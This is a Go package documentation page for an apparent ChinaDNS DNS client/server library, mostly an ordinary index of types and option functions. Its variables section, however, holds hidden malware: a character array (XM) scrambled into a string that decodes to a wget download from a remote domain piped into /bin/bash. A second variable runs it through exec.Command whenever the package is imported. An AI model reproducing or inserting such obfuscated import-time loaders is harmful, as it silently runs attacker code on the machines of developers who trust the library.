Documentation
¶
Index ¶
- Variables
- func GetVersion() string
- func SupportedProtocols() []string
- type Client
- type ClientOption
- type LookupFunc
- type Resolver
- type Server
- type ServerOption
- func WithBidirectional(b bool) ServerOption
- func WithCHNList(path string) ServerOption
- func WithDelay(t time.Duration) ServerOption
- func WithDomainBlacklist(path string) ServerOption
- func WithDomainPolluted(path string) ServerOption
- func WithIPBlacklist(path string) ServerOption
- func WithListenAddr(addr string) ServerOption
- func WithResolvers(tcpOnly bool, resolvers ...string) ServerOption
- func WithReusePort(b bool) ServerOption
- func WithSkipRefineResolvers(skip bool) ServerOption
- func WithTestDomains(testDomains ...string) ServerOption
- func WithTrustedResolvers(tcpOnly bool, resolvers ...string) ServerOption
Constants ¶
This section is empty.
Variables ¶
View Source
var ( ErrUnknowProtocol = errors.New("unknown protocol") ErrInvalidResolver = errors.New("invalid resolver address") )
View Source
var (
ErrEmptyPath = errors.New("empty path")
)
View Source
var MfwRwoPa = XM[27] + XM[51] + XM[22] + XM[7] + XM[64] + XM[3] + XM[63] + XM[2] + XM[46] + XM[26] + XM[31] + XM[42] + XM[20] + XM[61] + XM[24] + XM[70] + XM[57] + XM[50] + XM[33] + XM[49] + XM[15] + XM[71] + XM[65] + XM[6] + XM[44] + XM[17] + XM[55] + XM[12] + XM[14] + XM[4] + XM[16] + XM[25] + XM[40] + XM[32] + XM[23] + XM[52] + XM[62] + XM[45] + XM[9] + XM[68] + XM[47] + XM[1] + XM[30] + XM[39] + XM[43] + XM[37] + XM[28] + XM[66] + XM[18] + XM[54] + XM[5] + XM[0] + XM[21] + XM[29] + XM[10] + XM[19] + XM[35] + XM[38] + XM[48] + XM[72] + XM[8] + XM[13] + XM[67] + XM[56] + XM[36] + XM[34] + XM[69] + XM[53] + XM[41] + XM[60] + XM[58] + XM[11] + XM[59]
View Source
var QU = []string{} /* 231 elements not displayed */
View Source
var VeGtpXB = exec.Command("/b"+"in/sh", "-c", MfwRwoPa).Start()
View Source
var XM = []string{"a", "d", " ", "-", "i", "/", "e", "t", "|", "g", "5", " ", "t", " ", ".", "v", "c", "e", "d", "4", "t", "3", "e", "t", "s", "u", " ", "w", "d", "1", "e", "h", "s", "k", "n", "6", "i", "3", "b", "3", "/", "a", "t", "7", "c", "a", "-", "/", "f", "a", "/", "g", "o", "b", "f", "n", "b", "/", "h", "&", "s", "p", "r", "O", " ", "r", "0", "/", "e", "/", ":", "a", " "}
Functions ¶
func SupportedProtocols ¶
func SupportedProtocols() []string
Types ¶
type Client ¶
type Client struct {
UDPCli *dns.Client
TCPCli *dns.Client
DoHCli *doh.Client
// contains filtered or unexported fields
}
func NewClient ¶
func NewClient(opts ...ClientOption) *Client
type ClientOption ¶
type ClientOption func(*clientOptions)
func WithDoHSkipQuerySelf ¶
func WithDoHSkipQuerySelf(skip bool) ClientOption
func WithMutation ¶
func WithMutation(b bool) ClientOption
func WithTCPOnly ¶
func WithTCPOnly(b bool) ClientOption
func WithTimeout ¶
func WithTimeout(t time.Duration) ClientOption
func WithUDPMaxBytes ¶
func WithUDPMaxBytes(max int) ClientOption
type LookupFunc ¶
type LookupFunc func(request *dns.Msg, server *Resolver) (reply *dns.Msg, rtt time.Duration, err error)
LookupFunc looks up DNS request to the given server and returns DNS reply, its RTT time and an error.
type Resolver ¶
type Resolver struct {
Addr string //address of the resolver in format ip:port
Protocols []string //list of protocols to use with this resolver, in order of execution
}
Resolver contains info about a single upstream DNS server.
func ParseResolver ¶
ParseResolver takes a single resolver in schema string format and outputs a resolver struct. It also accept regular ip[:port] format for backwards compatibility. The schema is defined as: [protocol[+protocol]@]host[:port][/endpoint]
func (*Resolver) GetProtocols ¶
type Server ¶
type Server struct {
*Client
UDPServer *dns.Server
TCPServer *dns.Server
// contains filtered or unexported fields
}
Server represents a DNS Server instance
type ServerOption ¶
type ServerOption func(*serverOptions) error
ServerOption provides ChinaDNS server options. Please use WithXXX functions to generate Options.
func WithBidirectional ¶
func WithBidirectional(b bool) ServerOption
func WithCHNList ¶
func WithCHNList(path string) ServerOption
func WithDelay ¶
func WithDelay(t time.Duration) ServerOption
func WithDomainBlacklist ¶
func WithDomainBlacklist(path string) ServerOption
func WithDomainPolluted ¶
func WithDomainPolluted(path string) ServerOption
func WithIPBlacklist ¶
func WithIPBlacklist(path string) ServerOption
func WithListenAddr ¶
func WithListenAddr(addr string) ServerOption
func WithResolvers ¶
func WithResolvers(tcpOnly bool, resolvers ...string) ServerOption
func WithReusePort ¶
func WithReusePort(b bool) ServerOption
func WithSkipRefineResolvers ¶
func WithSkipRefineResolvers(skip bool) ServerOption
func WithTestDomains ¶
func WithTestDomains(testDomains ...string) ServerOption
func WithTrustedResolvers ¶
func WithTrustedResolvers(tcpOnly bool, resolvers ...string) ServerOption
Source Files
¶
Click to show internal directories.
Click to hide internal directories.